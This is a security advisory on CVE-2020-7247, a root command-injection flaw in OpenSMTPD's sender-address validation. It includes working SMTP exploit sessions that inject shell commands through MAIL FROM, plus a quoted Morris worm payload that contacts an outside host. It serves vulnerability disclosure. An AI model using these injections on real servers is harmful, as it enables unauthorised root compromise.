Qualys Security Advisory
LPE and RCE in OpenSMTPD (CVE-2020-7247)
==============================================================================
Contents
==============================================================================
Summary
Analysis
Exploitation
Acknowledgments
==============================================================================
Summary
==============================================================================
We discovered a vulnerability in OpenSMTPD, OpenBSD's mail
server. This
vulnerability is exploitable since May 2018 (commit a8e222352f,
"switch
smtpd to new grammar") and allows an attacker to execute arbitrary
shell
commands, as root:
- either locally, in OpenSMTPD's default configuration (which
listens on
the loopback interface and only accepts mail from localhost);
- or locally and remotely, in OpenSMTPD's "uncommented"
default
configuration (which listens on all interfaces and accepts
external
mail).
We developed a simple proof of concept and successfully tested
it
against OpenBSD 6.6 (the current release) and Debian testing
(Bullseye);
other versions and distributions may be exploitable.
==============================================================================
Analysis
==============================================================================
OpenSMTPD's smtp_mailaddr() function is responsible for
validating
sender (MAIL FROM) and recipient (RCPT TO) mail addresses:
------------------------------------------------------------------------------
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int
mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
------------------------------------------------------------------------------
- it calls valid_domainpart() to validate the domain name (after
the @
sign) of a mail address -- this function only accepts IPv4 and
IPv6
addresses, and alpha-numeric, '.', '-', and '_' characters;
- it calls valid_localpart() to validate the local part (before
the @
sign) of a mail address -- this function only accepts
alpha-numeric,
'.', and MAILADDR_ALLOWED characters (a white list from RFC
5322):
71 #define MAILADDR_ALLOWED "!#$%&'*/?^`{|}~+-=_"
Among the characters in MAILADDR_ALLOWED, the ones that are also
in
MAILADDR_ESCAPE are later transformed into ':' characters (escaped)
by
mda_expand_token():
72 #define MAILADDR_ESCAPE "!#$%&'*?`{|}~"
smtp_mailaddr()'s white-listing and mda_expand_token()'s
escaping are
fundamental to OpenSMTPD's security -- they prevent dangerous
characters
from reaching the shell that executes MDA commands (in
mda_unpriv()):
execle("/bin/sh", "/bin/sh", "-c", mda_command, (char
*)NULL,
mda_environ);
Mail Delivery Agents (MDAs) are responsible for delivering mail
to local
recipients; for example, OpenSMTPD's default MDA method is "mbox",
and
the corresponding MDA command is (in parse.y):
asprintf(&dispatcher->u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
where %{user.username} is the name of an existing local user
(the local
part of the recipient address), and %{mbox.from} is the sender
address
(which would be under the complete control of an attacker if it
were not
for smtp_mailaddr()'s white-listing and mda_expand_token()'s
escaping).
Unfortunately, we discovered a vulnerability in
smtp_mailaddr()
(CVE-2020-7247):
------------------------------------------------------------------------------
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int
mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
------------------------------------------------------------------------------
If the local part of an address is invalid (line 2218) and if
its domain
name is empty (line 2229), then smtp_mailaddr() adds the default
domain
automatically (line 2230) and returns 1 (line 2232), although it
should
return 0 because the local part of the address is invalid (for
example,
because it contains invalid characters).
As a result, an attacker can pass dangerous characters that are
not in
MAILADDR_ALLOWED and not in MAILADDR_ESCAPE (';' and ' ' in
particular)
to the shell that executes the MDA command. For example, the
following
local SMTP session executes "sleep 66" as root, in OpenSMTPD's
default
configuration:
------------------------------------------------------------------------------
$ nc 127.0.0.1 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [127.0.0.1], pleased
to meet you
MAIL FROM:<;sleep 66;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
How about a nice game of chess?
.
250 2.0.0 e6330998 Message accepted for delivery
QUIT
221 2.0.0 Bye
------------------------------------------------------------------------------
==============================================================================
Exploitation
==============================================================================
Nevertheless, our ability to execute arbitrary shell commands
through
the local part of the sender address is rather limited:
- although OpenSMTPD is less restrictive than RFC 5321, the
maximum
length of a local part should be 64 characters;
- the characters in MAILADDR_ESCAPE (for example, '$' and '|')
are
transformed into ':' characters.
To overcome these limitations, we drew inspiration from the
Morris worm
(https://spaf.cerias.purdue.edu/tech-reps/823.pdf), which exploited
the
DEBUG vulnerability in Sendmail by executing the body of a mail as
a
shell script:
------------------------------------------------------------------------------
debug
mail from: </dev/null>
rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0">
data
cd /usr/tmp
cat > x14481910.c <<'EOF'
[text of vector program]
EOF
cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341
8712440;
rm -f x14481910 x14481910.c
.
quit
------------------------------------------------------------------------------
Indeed, the standard input of an MDA command is the mail itself:
"sed"
removes the headers (which were added automatically by the mail
server)
and "/bin/sh" executes the body.
We cannot simply reuse this command (because we cannot use the
'|' and
'>' characters), but we can use "read" to remove N header lines
(where N
is greater than the number of header lines added by the mail
server) and
prepend a "NOP slide" of N comment lines to the body of our mail.
For
example, the following remote SMTP session executes the body of
our
mail, as root, in OpenSMTPD's "uncommented" default
configuration:
------------------------------------------------------------------------------
$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1],
pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read
r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye
------------------------------------------------------------------------------
==============================================================================
Acknowledgments
==============================================================================
We thank the OpenBSD developers for their great work and their
quick
response.
[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>
This message may contain confidential and privileged
information. If it has been sent to you in error, please reply to
advise the sender of the error and then immediately delete it. If
you are not the intended recipient, do not read, copy, disclose or
otherwise use this message. The sender disclaims any liability for
such unauthorized use. NOTE that all incoming emails sent to Qualys
email accounts will be archived and may be scanned by us and/or by
external service providers to detect and prevent threats to our
systems, investigate illegal or inappropriate behavior, and/or
eliminate unsolicited promotional emails (“spam”). If you have any
concerns about this process, please contact us.

